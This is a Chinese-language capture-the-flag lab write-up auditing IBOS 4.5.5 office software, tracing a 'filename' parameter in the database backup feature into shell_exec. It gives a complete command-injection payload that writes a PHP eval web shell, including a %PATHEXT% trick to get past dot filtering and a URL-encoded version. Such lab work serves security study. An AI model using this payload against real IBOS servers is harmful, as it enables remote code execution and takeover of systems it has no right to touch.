[zkaq靶场]命令执行--IBOS协同办公系统通杀漏洞
命令執(zhí)行
命令執(zhí)行相關(guān)函數(shù)
- system()
能夠?qū)⒆址鳛镺S命令執(zhí)行,自帶輸出功能。
- exec()
將字符串作為OS命令執(zhí)行,需要輸出
- shell_exec()
將字符串作為OS命令執(zhí)行,需要輸出
- passthru()
能夠?qū)⒆址鳛镺S命令執(zhí)行,自帶輸出
- popen()
將字符串作為OS命令執(zhí)行,但是該函數(shù)返回一個文件指針。
- 反引號``
反引號內(nèi)的字符串也會被解析成OS命令。
靶場
本地測試
本期主角:ibos(一款協(xié)同辦公系統(tǒng))
版本:4.5.5
安裝:
安裝完成之后:長得跟phpstudy“有點(diǎn)像”,就是在PHP study的基礎(chǔ)上加了一套cms。
后臺:
審計(jì)
對該系統(tǒng)的源碼進(jìn)行審計(jì)。
發(fā)現(xiàn)其對重要代碼進(jìn)行了加密:
上傳到在線解密網(wǎng)站看看使用的加密方法:
加密方式: zend|53。
知道了加密方式之后就可以對其進(jìn)行解密。
Zend Guard是目前市面上最成熟的PHP源碼加密產(chǎn)品,只要PHP加載了這個第三方加密插件,那么就可以直接運(yùn)行加密后的源碼。
這類加密會在開頭寫Zend.
解密之后的代碼是不能直接替代原本文件運(yùn)行的,所以解密后的代碼僅僅是靜態(tài)審計(jì)
解密之后全局搜索命令執(zhí)行的函數(shù),找到一處可疑的地方。
具體代碼是這一塊:
$config = @include (PATH_ROOT . "./system/config/config.php");if (empty($config)) {throw new Exception(application\core\utils\Ibos::Lang("Config not found", "error")); } else {$db = $config["db"]; } $query = $command->setText("SHOW VARIABLES LIKE 'basedir'")->queryRow(); $mysqlBase = $query["Value"]; $mysqlBin = ($mysqlBase == "/" ? "" : addslashes($mysqlBase) . "bin/"); shell_exec($mysqlBin . "mysql -h\"" . $db["host"] . ($db["port"] ? (is_numeric($db["port"]) ? " -P" . $db["port"] : " -S\"" . $db["port"] . "\"") : "") . "\" -u\"" . $db["username"] . "\" -p\"" . $db["password"] . "\" \"" . $db["dbname"] . "\" < " . $file);shell_exec()函數(shù):
shell_exec($mysqlBin . "mysql -h\"" . $db["host"] . ($db["port"] ? (is_numeric($db["port"]) ? " -P" . $db["port"] : " -S\"" . $db["port"] . "\"") : "") . "\" -u\"" . $db["username"] . "\" -p\"" . $db["password"] . "\" \"" . $db["dbname"] . "\" < " . $file);
我們需要找到我們可以控制的變量。
分析:
$mysqlBin是從數(shù)據(jù)庫中查詢出來的值;
$db經(jīng)過追蹤是從config.php文件中取得的關(guān)于數(shù)據(jù)庫配置的值。
這兩個變量都不是我們可以控制的。
那么還剩下一個$file是干什么的呢?
追蹤restore方法沒有找到一下成果
$file暫時在這里失去了線索。
但是,我們在全局搜索shell_exec()函數(shù)時出現(xiàn)了兩次調(diào)用。
我們可以看看另一個文件里的shell_exec()函數(shù)。
shell_exec("{$mysqlBin}mysqldump --force --quick $command1 --add-drop-table $command2 $command3 --host=\"{$db["host"]}\" $command5 --user=\"{$db["username"]}\" --password=\"{$db["password"]}\" \"{$db["dbname"]}\" $tablesstr > $dumpFile");
這里出現(xiàn)了mysqldump,這是一個MySQL自帶的備份工具。
命令格式
mysqldump [選項(xiàng)] 數(shù)據(jù)庫名 [表名] > 腳本名
或
mysqldump [選項(xiàng)] --數(shù)據(jù)庫名 [選項(xiàng) 表名] > 腳本名
或
mysqldump [選項(xiàng)] --all-databases [選項(xiàng)] > 腳本名
我們猜測這里可能后臺提供的一個數(shù)據(jù)庫備份功能。
后臺是真的存在數(shù)據(jù)庫備份功能的。
最后一個參數(shù)$dumpFile就是腳本名,就是最后導(dǎo)出的文件名。
我們可以控制的變量也就是它。
追溯一下它的來源:
$dumpFile = core\utils\addslashes(core\utils\PATH_ROOT) . “/” . $backupFileName . “.sql”;
$backupFileName = self::BACKUP_DIR . “/” . core\utils\str_replace(array("/", “\”, “.”, “’”), “”, $fileName);
$fileName = core\utils\Env::getRequest(“filename”);
最后可以判斷,$dumpFile跟getRequest(“filename”)是有關(guān)的。
也就是說是跟請求里的參數(shù)有關(guān)的。
我們可以嘗試抓個包試試看有沒有filename參數(shù):
在后臺備份數(shù)據(jù)庫這里抓包:
請求包里是可以看到filename參數(shù)的。
同時在服務(wù)器上生成了一個sql備份文件:
這里我們就可以思考開始利用shell_exec()在服務(wù)器上生成php文件了。
shell_exec()執(zhí)行的是系統(tǒng)命令,可以利用管道符進(jìn)行多條命令執(zhí)行。
令filename參數(shù)等于:
111&echo "<?php eval($_REQUEST[8])?>" >777.php&111
&管道符不管前面執(zhí)行的成不成功,都會執(zhí)行&后面的。
那么
shell_exec("前面是備份的語句:mysqldump ------------ > 111 & echo "<?php eval(REQUEST[8])?>" > 777.php")&111
但是前面$backupFileName中把filename中的/ \ .替換為空了。
這里需要使用一個騷方法:切割環(huán)境變量來獲取點(diǎn)。
set:查看環(huán)境變量
取PATHEXT變量里的值,從第0個位置開始,取1個值。結(jié)果就是點(diǎn).
那么我們就可以這樣寫:
111&echo "<?php eval($_REQUEST[8])?>" > 777%PATHEXT:~0,1%php&111
也就是最終的payload。
原數(shù)據(jù)包中是通過POST傳參的,POST傳參中&符號是連接多個參數(shù),這里出現(xiàn)&符號是不行的。
我們把payload進(jìn)行一次url編碼:
111%26echo %22%3C%3Fphp eval(%24_REQUEST%5B8%5D)%3F%3E%22 %3E 777%25PATHEXT%3A%7E0%2C1%25php%26111
成功寫入文件:
正常情況下POST中不接受url編碼,但是可以接受url編碼的POST傳參也不在少數(shù)。如果這里不接受url編碼,我們可以在POST請求中刪除filename參數(shù),然后將filename參數(shù)寫到url中。
本地測試成功。
靶場:
這是將filename參數(shù)寫到了url中。
連接菜刀:
拿到flag。Security的值。
總結(jié)
以上是生活随笔為你收集整理的[zkaq靶场]命令执行--IBOS协同办公系统通杀漏洞的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 【TSOJ课程】20 1151 玛雅日历
- 下一篇: 中国农业大学计算机考研复试分数线,202